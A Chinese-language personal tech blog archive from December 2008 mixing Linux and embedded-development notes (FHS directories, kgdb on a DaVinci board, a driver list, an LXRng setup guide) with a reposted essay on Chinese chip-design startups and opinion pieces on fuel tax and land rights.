I want to be a complete engineer - technical genius and sensitive humanist all in one!

Wednesday, December 24, 2008

一个优秀的C语言学习站点

http://learn.akae.cn/media/index.html
认真看完,可以好好总结复习下有关知识,并审查作者的文档的纰漏,的确有益啊!

Tuesday, December 23, 2008

Linux文件系统层次结构标准

Linux和UNIX的文件系统是一个以“/ “为根的阶层式的树状文件结构,/ 因此被称为根目录。所有的文件和目录都置于根目录/ 之下。根目录/下面有/bin,/home,/usr等子目录。在早期的UNIX系统中,各个厂家各自定义了自己的UNIX系统的文件系统构成,比较混 乱。
 为了避免在Linux也产生同样的问题,在Linux面世不久,就开始了对Linux文件系统进行标准化的活动,于1994年推出了名为 FSSTND(Filesystem Standard)的Linux文件系统层次结构标准。之后,FSSTND标准吸引了UNIX社团的开发人员,他们把FSSTND扩大到UNIX系 统,FSSTND就变为FHS (Filesystem Hierarchy Standard)。2001年3月,FHS 2.2版本发布,2004年1月29日发行了最新版本2.3。

 FHS标准使得众多的Linux发布包有了可以遵循的标准,使得软件和用户可以预测已经安装了的文件和目录的位置。它定义了如下的内容。
 定义了文件系统中每个区域的用途
 定义了所需要的最小构成的文件和目录
 给出了例外处理和矛盾的特殊例子

目录内容和用途
/根目录
/bin一般用户使用的命令
/boot放置内核及LILO、GRUB等导引程序(bootloader)的文件,用于启动。
/dev硬盘,分区,键盘,鼠标,USB,tty等所有的设备文件都放在这个目录。
/etc系统的所有配置文件都存放在此目录中。
/home用户空间,所有的用户都是用此空间。
/lib共享连接库,如C库和C编译器等等。
/media挂接CD-ROM等设备的目录
/mnt移动设备文件系统的挂点
/opt存放后来追加的用户应用程序
/root管理员之家
/sbin存放系统管理所需要的命令
/tmp临时文件目录,重新启动时被清除
/usr存放只能读的命令和其他文件。
/usr/X11R6 X Window系统
/usr/bin 用户和管理员的标准命令
/usr/include c/c++等各种开发语言环境的标准include文件
/usr/lib 应用程序及程序包的连接库
/usr/local/ 系统管理员安装的应用程序目录
/usr/local/share 系统管理员安装的共享文件
/usr/sbin 用户和管理员的标准命令
/usr/share 存放使用手册等共享文件的目录
/usr/share/dict 存放词表的目录(选项)
/usr/share/man 系统使用手册
/usr/share/misc 一般数据
/usr/share/sgml SGML数据(选项)
/usr/share/xml XML数据(选项)
/var存放应用程序数据和日志记录的目录,例如,Apache Web服务器的文档一般就放在/var/www/html下。
/var/cache 应用程序缓存目录
/var/account 处理账号日志(选项)
/var/crash 系统错误信息(选项)
/var/games 游戏数据
/var/lib  各种状态数据
/var/lock 文件锁定纪录
/var/log 日志记录
/var/mail 电子邮件
/var/opt /opt目录的变量数据
/var/run 进程的标示数据
/var/spool 存放电子邮件,打印任务等的队列目录。
/var/spool/rwho 
/var/tmp 临时文件目录
/var/yp NIS等黄页数据(选项)


参考资料
FHS 2.3
http://www.pathname.com/fhs/

Monday, December 22, 2008

给技术创业兄弟的几个忠告

我曾经也在一个设计嵌入式CPU的半导体公司工作过,也模模糊糊的知道了设计IC是怎么一回事,下面这篇文章写的比较到位,阐述的观点也比较有启发意义,我特意转过来,或许对别人,对自己有一点启示:
很长一段时间,我对国内IC设计产业的困境感到迷惑不解。
在这个产业里,聚集了中国最聪明的头脑(其中绝大多数是海归精英)。政府很舍得花钱支持,VC也很重视,有硅谷的成熟商业模式,又背靠全球最大的移动通信和消费电子市场。
但事实很悲哀,远在整个经济的冬天到来之前,这个产业就处在集体委靡之中。不断有公司倒闭的消息,仅有的三家海外上市公司,有两家——中星微(Nasdaq:VIMC)和展讯(Nasdaq:SPRD)都处于亏损之中,市值甚至远远不到1亿美元。
上个月,我的同事和我一起,专门拜访了中星微的创始人邓中翰,北极光创投的合伙人陈大同,他曾是展迅通信的创始人之一兼CTO,以及一些业内人士。
有意思的是,每个人都会提到一个台湾公司的名字:联发科(MediaTek Inc., TW:2454),它很像旧社会的“三座大山”,把整个大陆IC设计产业压得无法喘气。
过 去,我的媒体同行常常把联发科称为“黑手机之父”,它比中星微仅仅早出生四年,但如今已经是市值超过80亿美金,年营收约30亿美金,全球第三大手机和第 二大数字电视IC设计公司(国内前十大IC设计公司加起来的营收总和也不到它的一半)。更让人郁闷的是,它的成长,它的利润主要都来自于大陆。
我跟邓中翰博士很认真地探讨了一下这个问题。他觉得联发科虽然厉害,但其技术大都是“偷学”而来的,产品只满足低端市场,而且其客户大都是些中小品牌甚至 “山寨机”企业。至于中星微则是通过“自主创新”,正大光明地赢得了今天的价值,赢得了三星、飞利浦、微软等国际大厂对其品牌的认可,这是一条索尼、松下 们曾经走过的正道。
我不能说他的观点不对,但我总觉得这个说法很像《神雕侠侣》里面名门正派的青年才俊永远瞧不上杨过这种到处偷学的流浪儿。
于是,我上卓越亚马逊买了一本联发科董事长蔡明介写的书《竞争力的探求》。在这本书里,老蔡总结自己30年的江湖经验,和盘托出了一套后发国家的技术公司如何成功的实战策略。
看完以后,我承认自己有点被雷到了。因为联发科的这套策略一点都不神秘。
完 全客户导向,选择规模庞大的应用市场而非细分的利基领域,在市场刚刚进入成熟期时迅速杀入,通过对国外技术的消化吸收进行逆向创新,提供真正低成本(但绝 对不是低技术)的解决方案,依靠工程师团队而非个别天才作战,用速度、效率和贴身服务来弥补质量上的差距,通过打破行业的现有规则来确立新标准,与自己的 上下游结成统一战线……
事实上,华为、比亚迪、腾讯、无锡尚德、金风科技这些中国最厉害的高科技公司,和联发科使用的是几乎同一套战法。
对于一个公司而言,尤其是非国有的上市公司而言,为股东赚钱就是它的本分。赚钱的公司不一定是好公司,但不赚钱的公司肯定不是个好公司。
以此标准来衡量联发科与中星微,则高下立判。
所以,中星微是不是国内IC设计公司,以及一大批海归创业的高科技公司值得效仿的对象?我表示怀疑。
如果把联发科作为参照系,那么中星微所选择的另一条道路,看起来很光彩,却很可能越走越窄。
这 或许也能解释另外一个事实,在中国,绝大多数成功的技术型公司都不是由海归派创立的。也许有看官会反驳我说,还有百度、搜狐、无锡尚德和曾经的UT斯达康 呀!但请注意,它们都是在“更懂中文”之后,才取得成功的(凡参加过百度的营销大会,就知道是百度的技术强大,还是Sales强大)。
马上要过新年了,2009年很可能是中国市场化经济有史以来最寒冷的一年(有谁还记得1989年吗?)。我很担心各位海归的、创业的、还是搞技术的兄弟们,如果一条路走到黑的话,很可能会冻死,很可能会熬不到下一个春天。
于是,我试着总结了九个朴素的忠告(抱歉,没有“十全大补丸”),其实都是听前辈过来人讲的血泪教训。不一定都对,但应该不会全错。

第一,别作“28个半布尔什维克”
中共历史上有个著名的“28个半布尔什维克”,以王明为首的留洋派。马列理论很“正宗”,苏联老大哥很喜欢,也给津贴补助,高调做事,觉得在中国干革命,就得发动城市工人阶级,尽管后者可能比现在的白领还少。
很像现在的一些海归创业公司,拿着美国VC的银子,言必称硅谷、GOOGLE、商业模式,不赚钱不要紧,先请最贵的人搞研发,再花钱砸市场。只是学得再像,也不过一个好学生而已。一旦老大哥接济不上,一旦离开租界,就麻烦大了。
而井岗山上的“朱毛”很饥饿,生存问题压倒理论焦虑,不打土豪劣绅就得挨饿,不发动千万农民就没地盘没人手,打一仗总结一次经验,无人关心自己宽心,吃甘蔗先啃最难吃的。谁笑到了最后?
从硅谷回来的海归们,大多忘记了一个基本事实:就是欧美的市场已经是高度成熟和分工细化。而在国内,很多产业还处在跑马圈地粗放经营的阶段。

第二,别在北京、上海创业
北京、上海是中国两个最大,也最容易让创业者产生幻觉的城市。似乎离硅谷很近,资讯很发达,打个“飞的”就来去。天天看着CBD陆家嘴,就以为中国不是发展中国家了。
母校里还有专门的孵化器,软硬件俱全,挺像斯坦福车库。但是,两地最成熟的清华创业园、复旦创业园,10年了也没孵出一个上市的技术公司。更别说其它的。
政府鼓励多衙门也多,优惠政策首先倾斜国企和外企,公文审批累死你。大公司大客户是很多,不过都是“关系型客户”。人才也多,要价很高,而且一有风吹草动就回安稳窝了。
媒体热闹,营销大师公关顾问多,忽悠你的也多。夸你几句你就当真,你当真你就傻子。
我的建议:技术创业首选深圳。完全移民城市,山寨精神,开放文化。毗邻香港,技术资讯不落后,融资也不难。背靠珠三角,制造业发达,有技术不怕没地方变 现。没人注意你,正好可以多磨练自个本事。地方政府相当务实,营商环境好,没事不缠你。有钱的天使多,忽悠的人少。如果精力富余,还可以多去华为、腾讯、 比亚迪学习一下。
当然,杭州、无锡、大连也值得推荐。

3,别让技术最牛的那个家伙当CEO
这话是谁说的?是展讯的前CTO陈大同说的,他在硅谷还参与创办过一个公司。陈的亲身体验是,在硅谷那边,工程师都不愿意去做管理。因为硅谷已经把技术看成是生存之本,渗透入血液。在一个公司里面,都有几个宝贝似的技术大拿,其影响力真是可以跟CEO平起平坐的。
而在中国,过去一直是制造业文化,没有搞技术研发的氛围。在企业里,做技术的地位根本没法跟做管理的比。所以,技术大拿的重要性非得通过管理岗位才能体现出来。
但很遗憾,真正适合做管理的工程师可能不到20%。技术出身的人常常只相信自己,不信任别人。给人职责,不给人权力。技术出身的人当管理者非常容易把技术看得太高。最后是公司少了一个顶尖的技术大拿,多了一个二流的领导人。百分之一的技术难题只有百分之一的技术高手能解决。同样,百分之一的市场机会也只有百分之一的市场高手能发现。凡是大家嚷嚷的机会都不靠谱。
称职的技术公司CEO必须是一个市场高手,一定得是公司里最懂市场的人。但不一定是学市场出身的。他要懂技术,但不能痴迷于技术。他必须判断这百分之一的机会是不是真正适合你的机会。陈很骄傲地说,他在离开展讯之前,已经是公司里最懂市场的人之一。
“邓中翰是从来不见客户的。” 原中星微的一位员工也说。在邓自述的工作日程表中,最重头的是技术开发,然后是投资者关系、政府关系和日常管理等。
这在联发科董事长蔡明介看来,绝对是不可想象的。他去深圳的次数远比去北京和上海的多。联发科专门设立了深圳子公司,还派驻技术服务人员和天宇朗通、联想、TCL这些大厂深入合作,提供技术支持。天宇朗通的CEO荣秀丽甚至公开称联发科为“老师”。

4,别跟政策要市场
本世纪初,硅谷有4家大陆留学生创办的搞3G芯片的公司,最后只剩下展讯一家活着。因为谁也没想到,只到今天,中国的3G还没有大规模商用。
展讯能侥幸活下来,是因为它把80%的精力放在搞2G/2.5G上,只把20%放在3G上。
2003年,展讯内部讨论未来集中开发哪种技术标准的时候,在WCDMA和TD-SCDMA之间摇摆,管理层争论非常大。后来决定做TD,因为做TD好歹也是先行者,又是国家标准,花了很大血本。
结果,今天TD-SCDMA这个“阿斗”算是硬扶上马了,可能不能成为产业,迄今还是疑问。而展讯今年3季度巨亏3000多万美金,很大程度上也是因为TD手机销售远不如预期造成的。
咱们国家的国情是,搞拆迁修马路盖房子是挺快的,要推进一个技术标准是很慢的。TD、MP4、数字电视、EVD、WAPI标准,不知拖死了多少小技术公司,现在又出了一个CMMB手机电视标准。
政 策的市场常常是未来的市场。没人知道苹果何时落地,但肯定比你想象得要晚很多。 联发科的董事长蔡明介特别强调S曲线的概念(代表了一个产品从发展初始到最后消亡的曲线),即在市场将要走到接近要大幅成长的中间阶段才切入,因为他认为 谁在竞争中最先达到经济规模才是最重要的。所以,联发科从来没有第一个进入市场,都是作为后来者的角色进入,用的是成熟技术,但进入后就能引发价格雪崩, 将先发者挤出市场。
如果按照中央政府的规划,当年的小灵通根本就不在标准考虑之列。可只要有几千万人用了,政府也不能说灭就灭了。今天,政府能取缔“山寨机”吗?不可能的。因为老百姓需要它。

5,创业公司不要做产业报国梦
据说一拿了美国绿卡,才会有真正的爱国热情。不知道是不是一种潜意识的负疚感,特别想为祖国做点什么。
不过,真有大理想也埋在心里,也别急着说出来。一说出来,你就把自己给架着了。企业不是运动员,老想着怎么为国争光,就忘记提升自己赚钱的能力了。当然,运气好的话,这些真真假假的理想能把政府领导给感动。但“汉芯”、“龙芯”、“中国芯”……,这么多“芯”里面有一个真正成大器的吗?没有。
更让人哭笑不得的是,一些企业拿这个来做整体营销,包装过度别人是被忽悠了,你自己也就只能一直包装下去。
当 年中星微做宣传,声称携手微软、富士通,“世界首个智能机器人富士通Maron-1的视觉芯片采用中星微的星光三号”,真实的情况是富士通的机器人采用微 软的WinCE操作系统,微软推荐其影像采集芯片采用中星微芯片,其实就是在“星光一号”基础上进行了方案修改,为借助此事造势就命名为“星光三号”,为 了把戏做足,公司还派人在每个国市场上买来一个玩具机器人,摆放在公司的荣誉展厅,对外宣传这就是“富士通智能机器人Maron-1”,当然,新闻报道传 说中的各种功能,它一个也不具备。
创业公司一谈产业报国,上帝估计也笑了。

6,忘掉硅谷式的“技术洁癖”
在中星微,从CEO、COO、CTO到每个事业部的总经理都是清一色的美国海归,而且绝大多数是技术出身。据说中星微招人也喜欢要高高大大的,因为这里最提倡的集体运动是美式篮球,老总们都好这个。或许正是这种“硅谷血统”,让中星微变成了一家有“技术洁癖”的公司。
理想主义;精英文化;要做就做最先进的技术;建立一套标准,然后通吃整个产业;模仿偷学是丢人的……如果放在硅谷,邓中翰的这些想法实在再正常不过。
无论是从企业定位、技术研发、战略制定和人才培养,中星微都是按照硅谷模式和美国的趋势来制定的。但恰恰是这些先进的东西让这个拥有多达1400多项专利和众多知名企业客户的中星微电子陷入难以做大做强的尴尬境地。
硅谷是所有技术梦想家的天堂。我建议,真正想搞最先进技术的人还是应该留在硅谷。硅谷有成熟的技术市场,有真正识货的客户和VC,有足够的技术应用空间。你就是完全不知道怎么卖产品,也可以把技术卖给思科、微软、ORACLE这样的大公司。
如果你是一个技术海归,想回国创业。恐怕你得想清楚,这里需要的不是最先进的技术,而是最价廉物美的技术。
在中国,低成本创新才是真正的王道。当年比亚迪做锂电池,想向日本人买设备,开价就是500万美金。最后一发狠自己做“手工+模具”,只有100万人民币。从此,手机电池的定价权就掌握在比亚迪的手上。
事实上,在中国做低成本创新有得天独厚的优势,中国工人不便宜了,但工程师还便宜。华为有3万工程师,比亚迪有多少工程师,欧美公司请不起的。
“联发科不是大公司,没有太多资源去做早期阶段的研发,尤其是在早期定产品规格的阶段,我们不能好高骛远。即使是在S曲线的中段才切入,只要掌握好技术、弹性和效率,不见得扳不到巨人。”蔡明介在《竞争力的探求》一书中这样强调。
更重要的是,通过低成本创新赚来的钱,提升了公司以战养战的能力和自信,下一次就可以更往S曲线的前端切入。今天只能打游击,明天就可以围歼,后天就可以攻城。

7,别忘了自己的主要客户是谁
中国真正的市场在哪里,不是北京上海的几百万白领,是10亿金字塔基的消费者。北京上海的白领们都在用MSN,可二三四五六线城镇的年轻人都在用QQ,结果最没钱的人造就了中国市值最大的互联网公司。
当经济萧条出现的时候,不仅仅是女士的裙子越来越长的时候。也是越来越多的中间阶层往“下流社会”走的时候。“价廉物美”成为整个社会的需求。
诺基亚和多普达用的TI OMAP芯片组动辄好几百块人民币,外加软件研发成本,手机价格能下来才怪了。而联发科提供的单芯片解决方案,让国产手机客户装个外壳就可以卖。在深圳的 华强北市场,差不多16元就能买一个,而且什么功能都有。联发科借此迅速掌握了整个国产手机产业链的控制权,议价能力很强,尽管不断降价,但它依然能够保 持50%以上的毛利润率。它把最难的事情都替客户做了,所以客户都跟吸毒一样爱上它。
“我们做的多媒体芯片各方面的功能和性能都比它(指联发 科的单芯片)要强,多媒体要做好是很难的,所以它能够进入山寨机,进入不了诺基亚、三星,因为他们对照相的功能和视频功能要求很高。山寨机是说我有这个视 频功能、照相功能就可以了,至于你效果如何,速度是不是够快,能否打印,都不在乎,”邓中翰反复跟我们讲。
在这种“眼睛向外,市场在外”的主导思路下,主打中高端市场的中星微来自内地的收入比例不足5%。相比之下,联发科手机芯片去年出货量已经达到了1.5亿颗,其中九成是内地客户
但问题在于,“别看中星微的国际客户这么多,而且都是知名企业,但它根本不是主流供货商。说句不好听的,大公司采购很多东西,中星微提供的属于螺帽钉子之类的零配件。”曾经的中星微电子职员直言。
在硅谷创办技术公司,卖出32亿美金高价的朱敏,回国以后大谈“中国服务”而不是“中国创造”。因为他知道,中国还不具备这样的环境。他对技术公司的建议就是:你先把本土市场拿下来,第二步是把第三世界拿下,第三步你再把创造加进去,最后你再渗透到第一世界去。
想一想,这不就是华为的战略嘛。

8,80分主义,不要100分主义
展讯向联发科学到的最重要一课就是千万不能技术导向,而要市场导向。
2004年,MP3音乐手机是国内的首创。展讯和联发科几乎同时在研发一款不用附加其它芯片的单基带芯片。
展讯这边想的是芯片质量一定要做到最好。必须要有100K的传输速度,双声道。可第一代产品只做到了64K.于是,继续改进。而联发科的技术其实落后于展讯。它的芯片只有32K的速率,还是单声道。
但联发科迅速把产品推向市场,结果等展讯的产品进入市场时,时机已经落后了半年多。市场主流客户已经接受了联发科。
“我们太想做到100分,把功能做到最好,结果耽误了市场时机。而联发科可能只做到80分就推出产品,但已经足够了。因为客户原本只期望60分”。陈大同由此知道,只要比客户能接受的稍微好点就行。不用追求技术完美。
产品从80分做到100分,也许花的精力要比从60分做到80分多几倍,客户体验只是好一点点。但技术公司永远人手不够,关键是你的资源是不是合理分配了。

9,别做卖萝卜卖得最好的
做技术不像做别的,不能老想着蓝海。是的,你是在蓝海里面,可你这个蓝海只有游戏池那么大,而人家的红海有太平洋那么大。
进入最难的市场往往也是空间最大的市场。
中 星微是精心选择了一块空白的利基市场,数字多媒体芯片当时并不被主流的英特尔、AMD、高通、德州仪器等厂商所重视。而其主要应用的领域是在高端PC和笔 记本的摄像头上,可这块市场规模太小,每年不过2-3亿美金。按照一位前中星微管理人员的描述,“就好像一个菜市场里,别人都在卖鱼卖肉,我们不过是在卖 蔬菜里面,卖萝卜卖得最好的”。
换句话说,如果一台主流电脑的出厂价是400美金的话,中星微的一个解决方案只能卖到4-5美金,仅仅占到了总成本的1%左右。“PC的利润大部分给了英特尔和微软,没办法,这个东西是人家多年来建立起来的优势,我们能进入它们的采购名单已经不错了。”邓中翰也承认。
可问题是,满足于做一个第一流的阑尾又有什么价值呢?

有意思的社会问答

1:国际原油最高的价格到过接近150美元一桶,但是现在已经50美元了,按道理说应该要跌到三块多钱一升,为什么国内的油价还不降?

回答:估计是150的时候囤太多油了,结果没涨到250。

但是,我们可以理解为我们都在献爱心,这样会舒服很多,油价只要坚挺一天,政府就能多赚几十亿,油价坚挺几个月,汶川就建设好了。所以,没有捐款的朋友也不用内疚,你以为你能不捐款麽,在不知不觉中,你早就捐了。所以,大家就全当自己升华了吧。

2:为什么中石油和中石化都说他们旗下的很多炼油厂亏损了?

回答:这就好比房地产商卖楼每年赚十亿,但是提供给小区里的免费班车每年要亏损十万,我们指责房地产商暴利,房地产商解释说,我们哪里暴利了,你看,连我们楼盘的班车每年都是亏损的。

3:没有车是不是就和燃油税没有关系?

回答:不是,自己想。

4:为什么政府老是拿中产阶级开刀?

回答:因为政府不能拿穷人开刀,穷人一穷二白,穷凶极恶,没有油水而且危险,政府也不能拿有钱有势的开刀,因为他们一想,咦,这不就是我们自己麽,所以只剩下工薪阶层和中产阶级了,他们钱不多,但基数大,而且有拥有一定的物质,害怕失去,所以操作起来很安全。

5:据说要费改税,以前的养路费什么的都变成燃油税,你觉得我们是合算还是不合算。

回答:从长远来看,越重的苛捐杂税,越沉重的人民负担,越不合理的政策,越荒谬的管理,对于这回 答:我们的政府虽然对外比较颓势,但在对老百姓做生意方面很有能力的,所以你要看看,你的身份是什么,如果你是个平民,那你基本上是不可能合算的。这个的 改革并不能称之为费改税,只能称为费加税。你的养路费只能少交1200元,其他的都是不减免的,包括小小的车船税或者高速过路费甚至国道费等,虽然有关部 门宣称,将取消公路养路费、航道养护费、公路运输管理费、公路客货运附加费、水路运输管理费、水运客货运附加费等六项收费,但说实话,我开了十年车,基本 上后面五项没有见到过,如果你不经常在水里开车的话,我想后两项你应该也没见到过,所以,你肯定会亏的。

比如上海,我们通常理解每个月交250,一年3000是养路费,但其实不是这样的,每个月只有100是养路费,还有150元是公路建设贷款费,所以,你以后还要交1800,如果你一天开几公里,一年只开两三千公里车,我相信你会赚到政府大概一位数到两位数左右的便宜的。

6: 有民意调查说有74%的人支持燃油税改革。

回答:这就是现在的政府和以前的政府不同的地方,以前政府做事,从来不问民意,现在政府做事,自己制造民意。

7:燃油税到底是好事还是坏事?

回答:从长远来看,越重的苛捐杂税,越沉重的人民负担,越不合理的政策,越荒谬的管理,对于这个国家来说,其实都是好事。

欧美法系和大陆法系

http://zh.wikipedia.org/wiki/%E6%AC%A7%E9%99%86%E6%B3%95%E7%B3%BB

http://zh.wikipedia.org/wiki/%E8%8B%B1%E7%BE%8E%E6%B3%95%E7%B3%BB

Monday, December 15, 2008

霸占农民土地是中华民族的劣根性

霸占农民土地的,最后总要霸占农民的女儿!

土地兼并和土地战争循环往复,周而复始,延绵中国历史四千年。

在土地兼并过程中应该有一个阈值,我们还没有运用统计学把这个阈值确定下来。达到这个点,战争爆发了,新皇权建立起来了,把土地分给农民,发给农民地契文书,并且总是承诺五十年不变或者七十年不变,但是因为大土地私有制是皇权的基础之一,兼并土地的过程很快就开始了,于是跟皇权的另外一个基础自耕农模式发生了矛盾,加上根深蒂固的“天下为公”的意识形态,每一次土地兼并都有冠冕堂皇的理由而大行其道。失去土地的农民最后揭竿而起,战争总是不可避免。

清华大学法学院教授许章润《有成熟地权,才有成熟国家》:“考察英帝国的发迹,不难发现,与罪恶的种族主义和赤裸裸的丛林规则同行的,布莱克斯通所谓的“帝国臣民与生俱来的”普通法,厥功甚伟。而作为普通法体系基石的不是《大宪章》,也不是为人附会有加的司法制度,却是构成人间秩序基本格局、堪称一切权利之源的土地产权制度和婚姻制度。在两三百年的扩张历程中,不论拓殖北美、澳洲,还是侵占中国的香港,南取印度次大陆,举凡米字旗所到之处,所颁行的第一部法律必定是土地法,联袂而来的则多半为婚姻法。英人在上海和威海强设租界,首先颁行的也是这两部法”。

这无疑是一个重要的科学发现,至少对我来说是这样的,让我感到震惊!与我的见解完全相同,当然希望看到许教授提供更多的证据,英联邦号称日不落帝国有遍布世界各地的殖民地和属地,应该有无数的历史事实可考;同理可以知道不能保护地权的民族是绝不会强盛的。长期以来,我一直在思考这个问题,以法国人拿破仑的雄才大略,以法国大革命的伟大号召力和推广文明的渗透力,铁蹄所到之处拿破仑的军队带着医生和像拉格朗日、拉普拉斯这样的伟大数学家;以德意志民族的至高无上的心智能力和北欧海盗的骁勇善战为什么都没有让全世界使用他们的语言,而独有英国人有能力让全世界人使用他们的语言;英国人缔造了北美殖民地和香港,其它新老殖民国家没有像英帝国一样成功的。

教授给我这个长期萦绕在心头的问题一个让我满意的答案。

霸占农民土地的民族必是怯懦的民族。

http://www.blogchina.com/20081023619056.html

Wednesday, December 10, 2008

Debugging linux kernel on DaVinci DM6446 using kgdb

monta vista 已经在davinci运行的kernel里面打上了他们修改过的kgdb补丁,按照如下步骤可以使用这个补丁对内核进行调试:

Rebuilding Kernel with kgdb support

Launch kernel configuration menu using the following command

#make ARCH=arm CROSS_COMPILE=arm_v5t_le- gconfig

Enable the following options in kernel configuration menu

a) CONFIG_NETCONSOLE (Networking support -> Network console logging support)

b) CONFIG_DEBUG_KERNEL (Kernel hacking -> Kernel Debugging)

c) CONFIG_KGDB (Kernel hacking -> KGDB)

d) CONFIG_KGDB_ETH (Kernel hacking -> KGDB -> Method of KGDB communication -> Ethernet)

After enabling the options in gconfig rebuild the kernel.

Target configuration

Target is configured by additional Linux kernel arguments passed e.g. via U-Boot. Add kgdboe option in bootargs environment variable on U-Boot prompt.

#kgdboe=[target-port]@/[dev][target-macaddr],[host-port]@/[dev]
  • target-port (optional): GDB port (default 6443)
  • target-ip: target ip address (i.e DVEVM ip address)
  • dev (optional): network interface (default eth0)
  • host-port (optional): Host port use to send/recieve UDP packets (default 6442)
  • host-ip: Host IP address

Example for U-Boot configuration:

DVEVM# setenv bootargs ... kgdboe=@192.168.1.4/,@192.168.1.3/

Note that in this example host IP address is 192.168.1.3 and DVEVM IP address is 192.168.1.4 (same as you normally set in U-Boot parameters serverip and ipaddr).

Host configuration

Go to Linux kernel main directory (where you executed make uImage and where the main Linux kernel executable vmlinux is located) and there create a file .gdbinit:

#touch .gdbinit

Edit this with your preferred editor and add

#target remote udp:192.168.2.4:6443

(with IP address of the target the host should connect to, same as used above in target configuration).

Connecting from Host

1. Boot DVEVM with the kgdb kernel. In boot messages you should get anything like

...
TI DaVinci EMAC: MAC address is deadbeaf
TI DaVinci EMAC Linux version updated 4.0
TI DaVinci EMAC: Installed 1 instances.
netconsole: not configured, aborting
kgdboe: local port 6443
kgdboe: local IP 192.168.1.4
kgdboe: interface eth0
kgdboe: remote port 6442
kgdboe: remote IP 192.168.1.3
kgdboe: remote ethernet address ff:ff:ff:ff:ff:ff
kgdboe: device eth0 not up yet, forcing it
kgdboe: debugging over ethernet enabled
...

2. Start cross debugging on Host machine

  $ arm_v5t_le-gdb vmlinux
GNU gdb 6.3 (MontaVista 6.3-20.0.22.0501131 2005-07-23)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "--host=i686-pc-linux-gnu --target=armv5tl-montavista-linuxeabi".
warning: The remote protocol may be unreliable over UDP
warning: some events may be lost, rendering further debugging impossible
0xc00533dc in breakpoint () at kernel/kgdb.c:1620
1620 atomic_set(&kgdb_setting_breakpoint,1);
(gdb)

Further reading

Included in the kgdb kernel patch is documentation. To get this, in Linux main directory on host (where you executed make uImage) e.g. call

#make htmldocs

After some time, redirect your web browser to file index.html in Linux kernel documentation subdirectory

Documentation/DocBook/index.html

There you should find now an entry kgdb with further infos.

Sunday, December 7, 2008

MontaVista linux 4.0.1 for TMS320DM6446 EVM 驱动一览

数字 --- 索引, D代表设备,S代表drivers source code
以下代码位置均以lsp1.3为准,lsp1.2的大同小异。
1、VPFE linux driver --- V4L2
D /dev/video0
S /drivers/media/video/davinci/davinci_vpfe.c

2、VPBE linux driver --- FBDev
D /dev/fb/x (x = 0 to 3)
S /drivers/video/davincifb.c
S /drivers/video/davinci/davincifb.c

3、MMC/SD card controller
D /dev/mmcblk0
S /drivers/mmc

4、ATA/CF controller
D ......
S /drivers/ide

5、Async EMIF linux driver
D /dev/mtdblock x(0 or 1)
S /drivers/mtd/nand/nand_davinci.c

6、EMAC linux driver
D /dev/eth0
S /drivers/net/davinci_emac.c
S /davinci/net/davinci_emac_phy.c

7、USB
D /dev/usb0
S /drivers/usb

8、ASP --- ALC33 Audio codec
D /dev/dsp
S /sound/oss/dm644x/davinci-*.c
S /arch/arm/mach-davinci/mcbsp.c

9、I2C master mode
D /dev/i2c/0
S /drivers/i2c/busses/i2c_davinci.c

10、 UART0
D /dev/ttyS0
S /drivers/serial/.......

11、Timer
D .......
S /arch/arm/mach-davinci/timer.c

Friday, December 5, 2008

ubuntu 8.04/8.10搭建lxr源代码检索系统

SourceInsight固然在windows下面分析源代码很但方便,但是我的工作平台是linux,linux下面也需要经常对代码进行分析和检索,我试用过多种分析工具,最后还是确定使用lxr,通过参考两位朋友t@c以及LXRng on Ubuntu 7.10的文章得以在我的工作计算机ubuntu 8.04和家用计算机ubuntu 8.10上搭建成功,谨在此向这位仁兄致敬。现在我把原文修改后转述如下:

01) LXRng依赖许多package,因此需要安装相关软件,使用如下命令:
$ sudo aptitude install git-core postgresql-8.3 postgresql-client-8.3 libxapian15 libsearch-xapian-perl apache2 libapache2-mod-perl2 libcgi-simple-perl libcgi-ajax-perl libhtml-parser-perl libtemplate-perl libterm-progressbar-perl libdevel-size-perl libdbd-pg-perl ctags

2) 数据库增加有用最大权限的使用者帐号,指令为:
$ sudo -i
$ su - postgres
$ createuser user # Answer "yes" when asked about superprivileged access
$ exit
$ exit

3) 建立数据库,并将http服务器使用者设定为数据库的一般使用者,因此在建立www-data帐号遇到的问题全部回答"N",指令为:
$ createdb lxrng
$ createuser www-data

4) 由LXR的repository取得LXRng,指令为:
$ cd ~
$ git-clone git://lxr.linux.no/git/lxrng.git

5) 启动LXRng设定,指令为:
$ cd ~/lxrng
$ cp lxrng.conf-dist lxrng.conf
$ vim lxrng.conf

6) 将以下字符串注释掉
use LXRng::Repo::Git;
my $gitrepo = LXRng::Repo::Git
->new('/var/lib/lxrng/repos/linux-2.6/.git',
release_re => qr/^v[^-]*$/,
author_timestamp => 0);
my $search = LXRng::Search::Xapian->new('/var/lib/lxrng/text-db/linux-2.6');

7) 新增加以下新的字符串,指令为:
use LXRng::Repo::Plain;
my $plainrepo = LXRng::Repo::Plain->new('/home/user/src/linux-source');
my $search = LXRng::Search::Xapian->new('/home/user/src/linux-source-2.6.26-textdb');

8) 修改下列字符串:postgresq
'repository' => $gitrepo, --改为--> 'repository' => $plainrepo,
'base_url' => 'http://lxr-test.linpro.no/lxr', --改为--> 'base_url' => 'http://localhost/lxr', [13]
'cache' => '/var/lib/lxrng/cache', --改为--> 'cache' => '/home/user/lxrng/cache',
'ver_list' => [$gitrepo->allversions], --改为--> 'ver_list' => ['v2.6.26'],
'ver_default' => 'v2.6.20.3', --改为--> 'ver_default' => 'v2.6.26',

9) save&quite(emacs or vim in this example)

10) 下载Linux kernel source code并将目录设置为7)8)中设定好的目录相符合
$ mkdir ~/src
$ cp linux-2.6.26.tar.gz ~/src
$ cd ~/src
$ tar -xzvf linux-2.6.26.tar.gz
$ mkdir linux-source
$ mkdir linux-source/v2.6.26
$ mv linux-source-2.6.26/* linux-source/v2.6.26
$ mkdir linux-source-2.6.26-textdb
$ mkdir ~/lxrng/cache
$ chmod 777 ~/lxrng/cache -R
$ chmod 777 ~/lxrng/webroot -R
$ make -C ~/lxrng/webroot/.static/gfx

11) 生成Linux-2.6.26的XR,指令为:
$ cd ~/lxrng
$ ./lxr-db-admin linux --init
$ ./lxr-genxref linux

12) 设置Apache2
$ cp apache2-site.conf-dist-mod_perl apache2-site.conf
$ sudo ln -s ~/lxrng/apache2-site.conf /etc/apache2/sites-enabled/010-lxrng
$ vim apache2-site.conf
